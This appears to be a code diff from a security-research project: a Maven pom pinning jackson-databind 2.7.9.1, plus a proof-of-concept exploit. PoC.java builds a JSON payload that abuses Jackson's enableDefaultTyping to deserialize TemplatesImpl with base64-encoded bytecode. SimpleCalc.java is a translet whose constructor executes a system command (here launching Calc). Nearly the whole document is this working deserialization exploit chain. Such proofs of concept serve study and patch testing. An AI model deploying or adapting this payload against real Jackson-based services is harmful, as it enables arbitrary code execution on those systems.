@@ -10,7 +10,7 @@
     <dependency>
       <groupId>com.fasterxml.jackson.core</groupId>
       <artifactId>jackson-databind</artifactId>
-      <version>2.7.9</version>
+      <version>2.7.9.1</version>
     </dependency>
     <dependency>
       <groupId>com.fasterxml.jackson.core</groupId>
@@ -24,4 +24,19 @@
     </dependency>
 
   </dependencies>
+  <build>
+  <plugins>
+    <!--compiler插件-->
+    <plugin>
+      <groupId>org.apache.maven.plugins</groupId>
+      <artifactId>maven-compiler-plugin</artifactId>
+      <version>3.6.1</version>
+      <configuration>
+        <source>1.7</source>
+        <target>1.7</target>
+        <encoding>${file.encoding}</encoding>
+      </configuration>
+    </plugin>
+  </plugins>
+  </build>
 </project>
@@ -0,0 +1,44 @@
+package com.drunkbaby;
+
+import com.fasterxml.jackson.databind.ObjectMapper;
+
+import javax.xml.bind.DatatypeConverter;
+import java.io.FileInputStream;
+import java.io.*;
+
+public class PoC {
+    public static void main(String[] args) throws Exception {
+        String exp = readClassStr("E:\\evilClass\\SimpleCalc.class");
+        String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
+                "{\n" +
+                "'transletBytecodes':['"+exp+"'],\n" +
+                "'transletName':'drun1baby',\n" +
+                "'outputProperties':{}\n" +
+                "}\n" +
+                "]\n" +
+                "}");
+        System.out.printf(jsonInput);
+        ObjectMapper mapper = new ObjectMapper();
+        mapper.enableDefaultTyping();
+        Test test;
+        try {
+            test = mapper.readValue(jsonInput, Test.class);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static String aposToQuotes(String json){
+        return json.replace("'","\"");
+    }
+
+    public static String readClassStr(String cls) throws Exception{
+
+        File file = new File(cls);
+        FileInputStream fileInputStream = new FileInputStream(file);
+        byte[] bytes = new byte[(int) file.length()];
+        fileInputStream.read(bytes);
+        String base64Encoded = DatatypeConverter.printBase64Binary(bytes);
+        return base64Encoded;
+    }
+}
@@ -0,0 +1,25 @@
+package com.drunkbaby;
+
+import com.sun.org.apache.xalan.internal.xsltc.DOM;
+import com.sun.org.apache.xalan.internal.xsltc.TransletException;
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
+import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
+
+public class SimpleCalc extends AbstractTranslet {
+    public SimpleCalc() throws Exception {
+        Runtime.getRuntime().exec("Calc");
+    }
+
+    @Override
+    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
+
+    }
+
+    @Override
+    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
+
+    }
+
+
+}
@@ -0,0 +1,5 @@
+package com.drunkbaby;
+
+public class Test {
+    public Object object;
+}